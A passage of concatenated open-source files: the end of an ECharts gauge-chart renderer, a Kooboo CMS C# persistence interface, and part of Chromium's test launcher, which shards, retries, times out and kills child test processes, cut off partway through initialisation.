this._paramsMap[seriesIndex].totalAngle = this._paramsMap[seriesIndex].startAngle
- this._paramsMap[seriesIndex].endAngle;
this._colorMap(seriesIndex);
this._buildAxisLine(seriesIndex);
this._buildSplitLine(seriesIndex);
this._buildAxisTick(seriesIndex);
this._buildAxisLabel(seriesIndex);
this._buildPointer(seriesIndex);
this._buildTitle(seriesIndex);
this._buildDetail(seriesIndex);
},
// 轴线
_buildAxisLine : function (seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.axisLine.show) {
return;
}
var min = serie.min;
var total = serie.max - min;
var params = this._paramsMap[seriesIndex];
var center = params.center;
var startAngle = params.startAngle;
var totalAngle = params.totalAngle;
var colorArray = params.colorArray;
var lineStyle = serie.axisLine.lineStyle;
var lineWidth = this.parsePercent(lineStyle.width, params.radius[1]);
var r = params.radius[1];
var r0 = r - lineWidth;
var sectorShape;
var lastAngle = startAngle;
var newAngle;
for (var i = 0, l = colorArray.length; i < l; i++) {
newAngle = startAngle - totalAngle * (colorArray[i][0] - min) / total;
sectorShape = this._getSector(
center, r0, r,
newAngle, // startAngle
lastAngle, // endAngle
colorArray[i][1], // color
lineStyle
);
lastAngle = newAngle;
sectorShape._animationAdd = 'r';
ecData.set(sectorShape, 'seriesIndex', seriesIndex);
ecData.set(sectorShape, 'dataIndex', i);
this.shapeList.push(sectorShape);
}
},
// 坐标轴分割线
_buildSplitLine : function (seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.splitLine.show) {
return;
}
var params = this._paramsMap[seriesIndex];
var splitNumber = serie.splitNumber;
var min = serie.min;
var total = serie.max - min;
var splitLine = serie.splitLine;
var length = this.parsePercent(
splitLine.length, params.radius[1]
);
var lineStyle = splitLine.lineStyle;
var color = lineStyle.color;
var center = params.center;
var startAngle = params.startAngle * Math.PI / 180;
var totalAngle = params.totalAngle * Math.PI / 180;
var r = params.radius[1];
var r0 = r - length;
var angle;
var sinAngle;
var cosAngle;
for (var i = 0; i <= splitNumber; i++) {
angle = startAngle - totalAngle / splitNumber * i;
sinAngle = Math.sin(angle);
cosAngle = Math.cos(angle);
this.shapeList.push(new LineShape({
zlevel : this._zlevelBase + 1,
hoverable : false,
style : {
xStart : center[0] + cosAngle * r,
yStart : center[1] - sinAngle * r,
xEnd : center[0] + cosAngle * r0,
yEnd : center[1] - sinAngle * r0,
strokeColor : color == 'auto'
? this._getColor(seriesIndex, min + total / splitNumber * i)
: color,
lineType : lineStyle.type,
lineWidth : lineStyle.width,
shadowColor : lineStyle.shadowColor,
shadowBlur: lineStyle.shadowBlur,
shadowOffsetX: lineStyle.shadowOffsetX,
shadowOffsetY: lineStyle.shadowOffsetY
}
}));
}
},
// 小标记
_buildAxisTick : function (seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.axisTick.show) {
return;
}
var params = this._paramsMap[seriesIndex];
var splitNumber = serie.splitNumber;
var min = serie.min;
var total = serie.max - min;
var axisTick = serie.axisTick;
var tickSplit = axisTick.splitNumber;
var length = this.parsePercent(
axisTick.length, params.radius[1]
);
var lineStyle = axisTick.lineStyle;
var color = lineStyle.color;
var center = params.center;
var startAngle = params.startAngle * Math.PI / 180;
var totalAngle = params.totalAngle * Math.PI / 180;
var r = params.radius[1];
var r0 = r - length;
var angle;
var sinAngle;
var cosAngle;
for (var i = 0, l = splitNumber * tickSplit; i <= l; i++) {
if (i % tickSplit === 0) { // 同splitLine
continue;
}
angle = startAngle - totalAngle / l * i;
sinAngle = Math.sin(angle);
cosAngle = Math.cos(angle);
this.shapeList.push(new LineShape({
zlevel : this._zlevelBase + 1,
hoverable : false,
style : {
xStart : center[0] + cosAngle * r,
yStart : center[1] - sinAngle * r,
xEnd : center[0] + cosAngle * r0,
yEnd : center[1] - sinAngle * r0,
strokeColor : color == 'auto'
? this._getColor(seriesIndex, min + total / l * i)
: color,
lineType : lineStyle.type,
lineWidth : lineStyle.width,
shadowColor : lineStyle.shadowColor,
shadowBlur: lineStyle.shadowBlur,
shadowOffsetX: lineStyle.shadowOffsetX,
shadowOffsetY: lineStyle.shadowOffsetY
}
}));
}
},
// 坐标轴文本
_buildAxisLabel : function (seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.axisLabel.show) {
return;
}
var splitNumber = serie.splitNumber;
var min = serie.min;
var total = serie.max - min;
var textStyle = serie.axisLabel.textStyle;
var textFont = this.getFont(textStyle);
var color = textStyle.color;
var params = this._paramsMap[seriesIndex];
var center = params.center;
var startAngle = params.startAngle;
var totalAngle = params.totalAngle;
var r0 = params.radius[1]
- this.parsePercent(
serie.splitLine.length, params.radius[1]
) - 10;
var angle;
var sinAngle;
var cosAngle;
var value;
for (var i = 0; i <= splitNumber; i++) {
value = min + total / splitNumber * i;
angle = startAngle - totalAngle / splitNumber * i;
sinAngle = Math.sin(angle * Math.PI / 180);
cosAngle = Math.cos(angle * Math.PI / 180);
angle = (angle + 360) % 360;
this.shapeList.push(new TextShape({
zlevel : this._zlevelBase + 1,
hoverable : false,
style : {
x : center[0] + cosAngle * r0,
y : center[1] - sinAngle * r0,
color : color == 'auto' ? this._getColor(seriesIndex, value) : color,
text : this._getLabelText(serie.axisLabel.formatter, value),
textAlign : (angle >= 110 && angle <= 250)
? 'left'
: (angle <= 70 || angle >= 290)
? 'right'
: 'center',
textBaseline : (angle >= 10 && angle <= 170)
? 'top'
: (angle >= 190 && angle <= 350)
? 'bottom'
: 'middle',
textFont : textFont,
shadowColor : textStyle.shadowColor,
shadowBlur: textStyle.shadowBlur,
shadowOffsetX: textStyle.shadowOffsetX,
shadowOffsetY: textStyle.shadowOffsetY
}
}));
}
},
_buildPointer : function (seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.pointer.show) {
return;
}
var total = serie.max - serie.min;
var pointer = serie.pointer;
var params = this._paramsMap[seriesIndex];
var length = this.parsePercent(pointer.length, params.radius[1]);
var width = this.parsePercent(pointer.width, params.radius[1]);
var center = params.center;
var value = this._getValue(seriesIndex);
value = value < serie.max ? value : serie.max;
var angle = (params.startAngle - params.totalAngle / total * (value - serie.min)) * Math.PI / 180;
var color = pointer.color == 'auto'
? this._getColor(seriesIndex, value) : pointer.color;
var pointShape = new GaugePointerShape({
zlevel : this._zlevelBase + 1,
style : {
x : center[0],
y : center[1],
r : length,
startAngle : params.startAngle * Math.PI / 180,
angle : angle,
color : color,
width : width,
shadowColor : pointer.shadowColor,
shadowBlur: pointer.shadowBlur,
shadowOffsetX: pointer.shadowOffsetX,
shadowOffsetY: pointer.shadowOffsetY
},
highlightStyle : {
brushType : 'fill',
width : width > 2 ? 2 : (width / 2),
color : '#fff'
}
});
ecData.pack(
pointShape,
this.series[seriesIndex], seriesIndex,
this.series[seriesIndex].data[0], 0,
this.series[seriesIndex].data[0].name,
value
);
this.shapeList.push(pointShape);
this.shapeList.push(new CircleShape({
zlevel : this._zlevelBase + 2,
hoverable : false,
style : {
x : center[0],
y : center[1],
r : pointer.width / 2.5,
color : '#fff'
}
}));
},
_buildTitle : function(seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.title.show) {
return;
}
var data = serie.data[0];
var name = typeof data.name != 'undefined' ? data.name : '';
if (name !== '') {
var title = serie.title;
var offsetCenter = title.offsetCenter;
var textStyle = title.textStyle;
var textColor = textStyle.color;
var params = this._paramsMap[seriesIndex];
var x = params.center[0] + this.parsePercent(offsetCenter[0], params.radius[1]);
var y = params.center[1] + this.parsePercent(offsetCenter[1], params.radius[1]);
this.shapeList.push(new TextShape({
zlevel : this._zlevelBase
+ (Math.abs(x - params.center[0]) + Math.abs(y - params.center[1]))
< textStyle.fontSize * 2 ? 2 : 1,
hoverable : false,
style : {
x : x,
y : y,
color: textColor == 'auto' ? this._getColor(seriesIndex) : textColor,
text: name,
textAlign: 'center',
textFont : this.getFont(textStyle),
shadowColor : textStyle.shadowColor,
shadowBlur: textStyle.shadowBlur,
shadowOffsetX: textStyle.shadowOffsetX,
shadowOffsetY: textStyle.shadowOffsetY
}
}));
}
},
_buildDetail : function(seriesIndex) {
var serie = this.series[seriesIndex];
if (!serie.detail.show) {
return;
}
var detail = serie.detail;
var offsetCenter = detail.offsetCenter;
var color = detail.backgroundColor;
var textStyle = detail.textStyle;
var textColor = textStyle.color;
var params = this._paramsMap[seriesIndex];
var value = this._getValue(seriesIndex);
var x = params.center[0] - detail.width / 2
+ this.parsePercent(offsetCenter[0], params.radius[1]);
var y = params.center[1]
+ this.parsePercent(offsetCenter[1], params.radius[1]);
this.shapeList.push(new RectangleShape({
zlevel : this._zlevelBase
+ (Math.abs(x+detail.width/2 - params.center[0])
+ Math.abs(y+detail.height/2 - params.center[1]))
< textStyle.fontSize ? 2 : 1,
hoverable : false,
style : {
x : x,
y : y,
width : detail.width,
height : detail.height,
brushType: 'both',
color: color == 'auto' ? this._getColor(seriesIndex, value) : color,
lineWidth : detail.borderWidth,
strokeColor : detail.borderColor,
shadowColor : detail.shadowColor,
shadowBlur: detail.shadowBlur,
shadowOffsetX: detail.shadowOffsetX,
shadowOffsetY: detail.shadowOffsetY,
text: this._getLabelText(detail.formatter, value),
textFont: this.getFont(textStyle),
textPosition: 'inside',
textColor : textColor == 'auto' ? this._getColor(seriesIndex, value) : textColor
}
}));
},
_getValue : function(seriesIndex) {
var data = this.series[seriesIndex].data[0];
return typeof data.value != 'undefined' ? data.value : data;
},
/**
* 颜色索引
*/
_colorMap : function (seriesIndex) {
var serie = this.series[seriesIndex];
var min = serie.min;
var total = serie.max - min;
var color = serie.axisLine.lineStyle.color;
if (!(color instanceof Array)) {
color = [[1, color]];
}
var colorArray = [];
for (var i = 0, l = color.length; i < l; i++) {
colorArray.push([color[i][0] * total + min, color[i][1]]);
}
this._paramsMap[seriesIndex].colorArray = colorArray;
},
/**
* 自动颜色
*/
_getColor : function (seriesIndex, value) {
if (typeof value == 'undefined') {
value = this._getValue(seriesIndex);
}
var colorArray = this._paramsMap[seriesIndex].colorArray;
for (var i = 0, l = colorArray.length; i < l; i++) {
if (colorArray[i][0] >= value) {
return colorArray[i][1];
}
}
return colorArray[colorArray.length - 1][1];
},
/**
* 构建扇形
*/
_getSector : function (center, r0, r, startAngle, endAngle, color, lineStyle) {
return new SectorShape ({
zlevel : this._zlevelBase,
hoverable : false,
style : {
x : center[0], // 圆心横坐标
y : center[1], // 圆心纵坐标
r0 : r0, // 圆环内半径
r : r, // 圆环外半径
startAngle : startAngle,
endAngle : endAngle,
brushType : 'fill',
color : color,
shadowColor : lineStyle.shadowColor,
shadowBlur: lineStyle.shadowBlur,
shadowOffsetX: lineStyle.shadowOffsetX,
shadowOffsetY: lineStyle.shadowOffsetY
}
});
},
/**
* 根据lable.format计算label text
*/
_getLabelText : function (formatter, value) {
if (formatter) {
if (typeof formatter == 'function') {
return formatter(value);
}
else if (typeof formatter == 'string') {
return formatter.replace('{value}', value);
}
}
return value;
},
/**
* 刷新
*/
refresh : function (newOption) {
if (newOption) {
this.option = newOption;
this.series = newOption.series;
}
this.backupShapeList();
this._buildShape();
}
};
zrUtil.inherits(Gauge, ChartBase);
zrUtil.inherits(Gauge, ComponentBase);
// 图表注册
require('../chart').define('gauge', Gauge);
return Gauge;
}); | bsd-3-clause |
Epitomy/CMS | Kooboo.CMS/Kooboo.CMS.Content/Kooboo.CMS.Content/Models/IPersistable.cs | 933 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.Serialization;
namespace Kooboo.CMS.Content.Models
{
/// <summary>
/// 可持久化的对象接口
///
/// </summary>
public interface IPersistable
{
/// <summary>
/// 是否为不完整对象
/// </summary>
/// <value>
/// <c>true</c> if this instance is dummy; otherwise, <c>false</c>.
/// </value>
bool IsDummy { get; }
/// <summary>
/// 在反序列化对象后会调用的初始化方法
/// </summary>
/// <param name="source">The source.</param>
void Init(IPersistable source);
/// <summary>
/// Called when [saved].
/// </summary>
void OnSaved();
/// <summary>
/// Called when [saving].
/// </summary>
void OnSaving();
}
}
| bsd-3-clause |
chromium2014/src | base/test/launcher/test_launcher.cc | 35866 | // Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/test/launcher/test_launcher.h"
#if defined(OS_POSIX)
#include <fcntl.h>
#endif
#include "base/at_exit.h"
#include "base/bind.h"
#include "base/command_line.h"
#include "base/environment.h"
#include "base/file_util.h"
#include "base/files/file_path.h"
#include "base/files/scoped_file.h"
#include "base/format_macros.h"
#include "base/hash.h"
#include "base/lazy_instance.h"
#include "base/logging.h"
#include "base/memory/scoped_ptr.h"
#include "base/message_loop/message_loop.h"
#include "base/process/kill.h"
#include "base/process/launch.h"
#include "base/strings/string_number_conversions.h"
#include "base/strings/string_split.h"
#include "base/strings/string_util.h"
#include "base/strings/stringize_macros.h"
#include "base/strings/stringprintf.h"
#include "base/strings/utf_string_conversions.h"
#include "base/test/launcher/test_results_tracker.h"
#include "base/test/sequenced_worker_pool_owner.h"
#include "base/test/test_switches.h"
#include "base/test/test_timeouts.h"
#include "base/threading/thread_checker.h"
#include "base/time/time.h"
#include "testing/gtest/include/gtest/gtest.h"
#if defined(OS_MACOSX)
#include "base/mac/scoped_nsautorelease_pool.h"
#endif
namespace base {
// Launches a child process using |command_line|. If the child process is still
// running after |timeout|, it is terminated and |*was_timeout| is set to true.
// Returns exit code of the process.
int LaunchChildTestProcessWithOptions(const CommandLine& command_line,
const LaunchOptions& options,
bool use_job_objects,
base::TimeDelta timeout,
bool* was_timeout);
// See https://groups.google.com/a/chromium.org/d/msg/chromium-dev/nkdTP7sstSc/uT3FaE_sgkAJ .
using ::operator<<;
// The environment variable name for the total number of test shards.
const char kTestTotalShards[] = "GTEST_TOTAL_SHARDS";
// The environment variable name for the test shard index.
const char kTestShardIndex[] = "GTEST_SHARD_INDEX";
namespace {
// Global tag for test runs where the results are incomplete or unreliable
// for any reason, e.g. early exit because of too many broken tests.
const char kUnreliableResultsTag[] = "UNRELIABLE_RESULTS";
// Maximum time of no output after which we print list of processes still
// running. This deliberately doesn't use TestTimeouts (which is otherwise
// a recommended solution), because they can be increased. This would defeat
// the purpose of this timeout, which is 1) to avoid buildbot "no output for
// X seconds" timeout killing the process 2) help communicate status of
// the test launcher to people looking at the output (no output for a long
// time is mysterious and gives no info about what is happening) 3) help
// debugging in case the process hangs anyway.
const int kOutputTimeoutSeconds = 15;
// Limit of output snippet lines when printing to stdout.
// Avoids flooding the logs with amount of output that gums up
// the infrastructure.
const size_t kOutputSnippetLinesLimit = 5000;
// Set of live launch test processes with corresponding lock (it is allowed
// for callers to launch processes on different threads).
LazyInstance<std::map<ProcessHandle, CommandLine> > g_live_processes
= LAZY_INSTANCE_INITIALIZER;
LazyInstance<Lock> g_live_processes_lock = LAZY_INSTANCE_INITIALIZER;
#if defined(OS_POSIX)
// Self-pipe that makes it possible to do complex shutdown handling
// outside of the signal handler.
int g_shutdown_pipe[2] = { -1, -1 };
void ShutdownPipeSignalHandler(int signal) {
HANDLE_EINTR(write(g_shutdown_pipe[1], "q", 1));
}
void KillSpawnedTestProcesses() {
// Keep the lock until exiting the process to prevent further processes
// from being spawned.
AutoLock lock(g_live_processes_lock.Get());
fprintf(stdout,
"Sending SIGTERM to %" PRIuS " child processes... ",
g_live_processes.Get().size());
fflush(stdout);
for (std::map<ProcessHandle, CommandLine>::iterator i =
g_live_processes.Get().begin();
i != g_live_processes.Get().end();
++i) {
// Send the signal to entire process group.
kill((-1) * (i->first), SIGTERM);
}
fprintf(stdout,
"done.\nGiving processes a chance to terminate cleanly... ");
fflush(stdout);
PlatformThread::Sleep(TimeDelta::FromMilliseconds(500));
fprintf(stdout, "done.\n");
fflush(stdout);
fprintf(stdout,
"Sending SIGKILL to %" PRIuS " child processes... ",
g_live_processes.Get().size());
fflush(stdout);
for (std::map<ProcessHandle, CommandLine>::iterator i =
g_live_processes.Get().begin();
i != g_live_processes.Get().end();
++i) {
// Send the signal to entire process group.
kill((-1) * (i->first), SIGKILL);
}
fprintf(stdout, "done.\n");
fflush(stdout);
}
// I/O watcher for the reading end of the self-pipe above.
// Terminates any launched child processes and exits the process.
class SignalFDWatcher : public MessageLoopForIO::Watcher {
public:
SignalFDWatcher() {
}
virtual void OnFileCanReadWithoutBlocking(int fd) OVERRIDE {
fprintf(stdout, "\nCaught signal. Killing spawned test processes...\n");
fflush(stdout);
KillSpawnedTestProcesses();
// The signal would normally kill the process, so exit now.
exit(1);
}
virtual void OnFileCanWriteWithoutBlocking(int fd) OVERRIDE {
NOTREACHED();
}
private:
DISALLOW_COPY_AND_ASSIGN(SignalFDWatcher);
};
#endif // defined(OS_POSIX)
// Parses the environment variable var as an Int32. If it is unset, returns
// true. If it is set, unsets it then converts it to Int32 before
// returning it in |result|. Returns true on success.
bool TakeInt32FromEnvironment(const char* const var, int32* result) {
scoped_ptr<Environment> env(Environment::Create());
std::string str_val;
if (!env->GetVar(var, &str_val))
return true;
if (!env->UnSetVar(var)) {
LOG(ERROR) << "Invalid environment: we could not unset " << var << ".\n";
return false;
}
if (!StringToInt(str_val, result)) {
LOG(ERROR) << "Invalid environment: " << var << " is not an integer.\n";
return false;
}
return true;
}
// Unsets the environment variable |name| and returns true on success.
// Also returns true if the variable just doesn't exist.
bool UnsetEnvironmentVariableIfExists(const std::string& name) {
scoped_ptr<Environment> env(Environment::Create());
std::string str_val;
if (!env->GetVar(name.c_str(), &str_val))
return true;
return env->UnSetVar(name.c_str());
}
// Returns true if bot mode has been requested, i.e. defaults optimized
// for continuous integration bots. This way developers don't have to remember
// special command-line flags.
bool BotModeEnabled() {
scoped_ptr<Environment> env(Environment::Create());
return CommandLine::ForCurrentProcess()->HasSwitch(
switches::kTestLauncherBotMode) ||
env->HasVar("CHROMIUM_TEST_LAUNCHER_BOT_MODE");
}
void RunCallback(
const TestLauncher::LaunchChildGTestProcessCallback& callback,
int exit_code,
const TimeDelta& elapsed_time,
bool was_timeout,
const std::string& output) {
callback.Run(exit_code, elapsed_time, was_timeout, output);
}
void DoLaunchChildTestProcess(
const CommandLine& command_line,
base::TimeDelta timeout,
bool use_job_objects,
bool redirect_stdio,
scoped_refptr<MessageLoopProxy> message_loop_proxy,
const TestLauncher::LaunchChildGTestProcessCallback& callback) {
TimeTicks start_time = TimeTicks::Now();
// Redirect child process output to a file.
base::FilePath output_file;
CHECK(base::CreateTemporaryFile(&output_file));
LaunchOptions options;
#if defined(OS_WIN)
win::ScopedHandle handle;
if (redirect_stdio) {
// Make the file handle inheritable by the child.
SECURITY_ATTRIBUTES sa_attr;
sa_attr.nLength = sizeof(SECURITY_ATTRIBUTES);
sa_attr.lpSecurityDescriptor = NULL;
sa_attr.bInheritHandle = TRUE;
handle.Set(CreateFile(output_file.value().c_str(),
GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_DELETE,
&sa_attr,
OPEN_EXISTING,
FILE_ATTRIBUTE_TEMPORARY,
NULL));
CHECK(handle.IsValid());
options.inherit_handles = true;
options.stdin_handle = INVALID_HANDLE_VALUE;
options.stdout_handle = handle.Get();
options.stderr_handle = handle.Get();
}
#elif defined(OS_POSIX)
options.new_process_group = true;
base::FileHandleMappingVector fds_mapping;
base::ScopedFD output_file_fd;
if (redirect_stdio) {
output_file_fd.reset(open(output_file.value().c_str(), O_RDWR));
CHECK(output_file_fd.is_valid());
fds_mapping.push_back(std::make_pair(output_file_fd.get(), STDOUT_FILENO));
fds_mapping.push_back(std::make_pair(output_file_fd.get(), STDERR_FILENO));
options.fds_to_remap = &fds_mapping;
}
#endif
bool was_timeout = false;
int exit_code = LaunchChildTestProcessWithOptions(
command_line, options, use_job_objects, timeout, &was_timeout);
if (redirect_stdio) {
#if defined(OS_WIN)
FlushFileBuffers(handle.Get());
handle.Close();
#elif defined(OS_POSIX)
output_file_fd.reset();
#endif
}
std::string output_file_contents;
CHECK(base::ReadFileToString(output_file, &output_file_contents));
if (!base::DeleteFile(output_file, false)) {
// This needs to be non-fatal at least for Windows.
LOG(WARNING) << "Failed to delete " << output_file.AsUTF8Unsafe();
}
// Run target callback on the thread it was originating from, not on
// a worker pool thread.
message_loop_proxy->PostTask(
FROM_HERE,
Bind(&RunCallback,
callback,
exit_code,
TimeTicks::Now() - start_time,
was_timeout,
output_file_contents));
}
} // namespace
const char kGTestFilterFlag[] = "gtest_filter";
const char kGTestHelpFlag[] = "gtest_help";
const char kGTestListTestsFlag[] = "gtest_list_tests";
const char kGTestRepeatFlag[] = "gtest_repeat";
const char kGTestRunDisabledTestsFlag[] = "gtest_also_run_disabled_tests";
const char kGTestOutputFlag[] = "gtest_output";
TestLauncherDelegate::~TestLauncherDelegate() {
}
TestLauncher::TestLauncher(TestLauncherDelegate* launcher_delegate,
size_t parallel_jobs)
: launcher_delegate_(launcher_delegate),
total_shards_(1),
shard_index_(0),
cycles_(1),
test_started_count_(0),
test_finished_count_(0),
test_success_count_(0),
test_broken_count_(0),
retry_count_(0),
retry_limit_(0),
run_result_(true),
watchdog_timer_(FROM_HERE,
TimeDelta::FromSeconds(kOutputTimeoutSeconds),
this,
&TestLauncher::OnOutputTimeout),
parallel_jobs_(parallel_jobs) {
if (BotModeEnabled()) {
fprintf(stdout,
"Enabling defaults optimized for continuous integration bots.\n");
fflush(stdout);
// Enable test retries by default for bots. This can be still overridden
// from command line using --test-launcher-retry-limit flag.
retry_limit_ = 3;
} else {
// Default to serial test execution if not running on a bot. This makes it
// possible to disable stdio redirection and can still be overridden with
// --test-launcher-jobs flag.
parallel_jobs_ = 1;
}
}
TestLauncher::~TestLauncher() {
if (worker_pool_owner_)
worker_pool_owner_->pool()->Shutdown();
}
bool TestLauncher::Run() {
if (!Init())
return false;
// Value of |cycles_| changes after each iteration. Keep track of the
// original value.
int requested_cycles = cycles_;
#if defined(OS_POSIX)
CHECK_EQ(0, pipe(g_shutdown_pipe));
struct sigaction action;
memset(&action, 0, sizeof(action));
sigemptyset(&action.sa_mask);
action.sa_handler = &ShutdownPipeSignalHandler;
CHECK_EQ(0, sigaction(SIGINT, &action, NULL));
CHECK_EQ(0, sigaction(SIGQUIT, &action, NULL));
CHECK_EQ(0, sigaction(SIGTERM, &action, NULL));
MessageLoopForIO::FileDescriptorWatcher controller;
SignalFDWatcher watcher;
CHECK(MessageLoopForIO::current()->WatchFileDescriptor(
g_shutdown_pipe[0],
true,
MessageLoopForIO::WATCH_READ,
&controller,
&watcher));
#endif // defined(OS_POSIX)
// Start the watchdog timer.
watchdog_timer_.Reset();
MessageLoop::current()->PostTask(
FROM_HERE,
Bind(&TestLauncher::RunTestIteration, Unretained(this)));
MessageLoop::current()->Run();
if (requested_cycles != 1)
results_tracker_.PrintSummaryOfAllIterations();
MaybeSaveSummaryAsJSON();
return run_result_;
}
void TestLauncher::LaunchChildGTestProcess(
const CommandLine& command_line,
const std::string& wrapper,
base::TimeDelta timeout,
bool use_job_objects,
const LaunchChildGTestProcessCallback& callback) {
DCHECK(thread_checker_.CalledOnValidThread());
// Record the exact command line used to launch the child.
CommandLine new_command_line(
PrepareCommandLineForGTest(command_line, wrapper));
// When running in parallel mode we need to redirect stdio to avoid mixed-up
// output. We also always redirect on the bots to get the test output into
// JSON summary.
bool redirect_stdio = (parallel_jobs_ > 1) || BotModeEnabled();
worker_pool_owner_->pool()->PostWorkerTask(
FROM_HERE,
Bind(&DoLaunchChildTestProcess,
new_command_line,
timeout,
use_job_objects,
redirect_stdio,
MessageLoopProxy::current(),
Bind(&TestLauncher::OnLaunchTestProcessFinished,
Unretained(this),
callback)));
}
void TestLauncher::OnTestFinished(const TestResult& result) {
++test_finished_count_;
bool print_snippet = false;
std::string print_test_stdio("auto");
if (CommandLine::ForCurrentProcess()->HasSwitch(
switches::kTestLauncherPrintTestStdio)) {
print_test_stdio = CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kTestLauncherPrintTestStdio);
}
if (print_test_stdio == "auto") {
print_snippet = (result.status != TestResult::TEST_SUCCESS);
} else if (print_test_stdio == "always") {
print_snippet = true;
} else if (print_test_stdio == "never") {
print_snippet = false;
} else {
LOG(WARNING) << "Invalid value of " << switches::kTestLauncherPrintTestStdio
<< ": " << print_test_stdio;
}
if (print_snippet) {
std::vector<std::string> snippet_lines;
SplitString(result.output_snippet, '\n', &snippet_lines);
if (snippet_lines.size() > kOutputSnippetLinesLimit) {
size_t truncated_size = snippet_lines.size() - kOutputSnippetLinesLimit;
snippet_lines.erase(
snippet_lines.begin(),
snippet_lines.begin() + truncated_size);
snippet_lines.insert(snippet_lines.begin(), "<truncated>");
}
fprintf(stdout, "%s", JoinString(snippet_lines, "\n").c_str());
fflush(stdout);
}
if (result.status == TestResult::TEST_SUCCESS) {
++test_success_count_;
} else {
tests_to_retry_.insert(result.full_name);
}
results_tracker_.AddTestResult(result);
// TODO(phajdan.jr): Align counter (padding).
std::string status_line(
StringPrintf("[%" PRIuS "/%" PRIuS "] %s ",
test_finished_count_,
test_started_count_,
result.full_name.c_str()));
if (result.completed()) {
status_line.append(StringPrintf("(%" PRId64 " ms)",
result.elapsed_time.InMilliseconds()));
} else if (result.status == TestResult::TEST_TIMEOUT) {
status_line.append("(TIMED OUT)");
} else if (result.status == TestResult::TEST_CRASH) {
status_line.append("(CRASHED)");
} else if (result.status == TestResult::TEST_SKIPPED) {
status_line.append("(SKIPPED)");
} else if (result.status == TestResult::TEST_UNKNOWN) {
status_line.append("(UNKNOWN)");
} else {
// Fail very loudly so it's not ignored.
CHECK(false) << "Unhandled test result status: " << result.status;
}
fprintf(stdout, "%s\n", status_line.c_str());
fflush(stdout);
// We just printed a status line, reset the watchdog timer.
watchdog_timer_.Reset();
// Do not waste time on timeouts. We include tests with unknown results here
// because sometimes (e.g. hang in between unit tests) that's how a timeout
// gets reported.
if (result.status == TestResult::TEST_TIMEOUT ||
result.status == TestResult::TEST_UNKNOWN) {
test_broken_count_++;
}
size_t broken_threshold =
std::max(static_cast<size_t>(20), test_started_count_ / 10);
if (test_broken_count_ >= broken_threshold) {
fprintf(stdout, "Too many badly broken tests (%" PRIuS "), exiting now.\n",
test_broken_count_);
fflush(stdout);
#if defined(OS_POSIX)
KillSpawnedTestProcesses();
#endif // defined(OS_POSIX)
results_tracker_.AddGlobalTag("BROKEN_TEST_EARLY_EXIT");
results_tracker_.AddGlobalTag(kUnreliableResultsTag);
MaybeSaveSummaryAsJSON();
exit(1);
}
if (test_finished_count_ != test_started_count_)
return;
if (tests_to_retry_.empty() || retry_count_ >= retry_limit_) {
OnTestIterationFinished();
return;
}
if (tests_to_retry_.size() >= broken_threshold) {
fprintf(stdout,
"Too many failing tests (%" PRIuS "), skipping retries.\n",
tests_to_retry_.size());
fflush(stdout);
results_tracker_.AddGlobalTag("BROKEN_TEST_SKIPPED_RETRIES");
results_tracker_.AddGlobalTag(kUnreliableResultsTag);
OnTestIterationFinished();
return;
}
retry_count_++;
std::vector<std::string> test_names(tests_to_retry_.begin(),
tests_to_retry_.end());
tests_to_retry_.clear();
size_t retry_started_count = launcher_delegate_->RetryTests(this, test_names);
if (retry_started_count == 0) {
// Signal failure, but continue to run all requested test iterations.
// With the summary of all iterations at the end this is a good default.
run_result_ = false;
OnTestIterationFinished();
return;
}
fprintf(stdout, "Retrying %" PRIuS " test%s (retry #%" PRIuS ")\n",
retry_started_count,
retry_started_count > 1 ? "s" : "",
retry_count_);
fflush(stdout);
test_started_count_ += retry_started_count;
}
bool TestLauncher::Init() {
const CommandLine* command_line = CommandLine::ForCurrentProcess();
// Initialize sharding. Command line takes precedence over legacy environment
// variables.
if (command_line->HasSwitch(switches::kTestLauncherTotalShards) &&
command_line->HasSwitch(switches::kTestLauncherShardIndex)) {
if (!StringToInt(
command_line->GetSwitchValueASCII(
switches::kTestLauncherTotalShards),
&total_shards_)) {
LOG(ERROR) << "Invalid value for " << switches::kTestLauncherTotalShards;
return false;
}
if (!StringToInt(
command_line->GetSwitchValueASCII(
switches::kTestLauncherShardIndex),
&shard_index_)) {
LOG(ERROR) << "Invalid value for " << switches::kTestLauncherShardIndex;
return false;
}
fprintf(stdout,
"Using sharding settings from command line. This is shard %d/%d\n",
shard_index_, total_shards_);
fflush(stdout);
} else {
if (!TakeInt32FromEnvironment(kTestTotalShards, &total_shards_))
return false;
if (!TakeInt32FromEnvironment(kTestShardIndex, &shard_index_))
return false;
fprintf(stdout,
"Using sharding settings from environment. This is shard %d/%d\n",
shard_index_, total_shards_);
fflush(stdout);
}
if (shard_index_ < 0 ||
total_shards_ < 0 ||
shard_index_ >= total_shards_) {
LOG(ERROR) << "Invalid sharding settings: we require 0 <= "
<< kTestShardIndex << " < " << kTestTotalShards
<< ", but you have " << kTestShardIndex << "=" << shard_index_
<< ", " << kTestTotalShards << "=" << total_shards_ << ".\n";
return false;
}
// Make sure we don't pass any sharding-related environment to the child
// processes. This test launcher implements the sharding completely.
CHECK(UnsetEnvironmentVariableIfExists("GTEST_TOTAL_SHARDS"));
CHECK(UnsetEnvironmentVariableIfExists("GTEST_SHARD_INDEX"));
if (command_line->HasSwitch(kGTestRepeatFlag) &&
!StringToInt(command_line->GetSwitchValueASCII(kGTestRepeatFlag),
&cycles_)) {
LOG(ERROR) << "Invalid value for " << kGTestRepeatFlag;
return false;
}
if (CommandLine::ForCurrentProcess()->HasSwitch(
switches::kTestLauncherRetryLimit)) {
int retry_limit = -1;
if (!StringToInt(CommandLine::ForCurrentProcess()->GetSwitchValueASCII(
switches::kTestLauncherRetryLimit), &retry_limit) ||
retry_limit < 0) {
LOG(ERROR) << "Invalid value for " << switches::kTestLauncherRetryLimit;
return false;
}
retry_limit_ = retry_limit;
}
if (CommandLine::ForCurrentProcess()->HasSwitch(
switches::kTestLauncherJobs)) {
int jobs = -1;
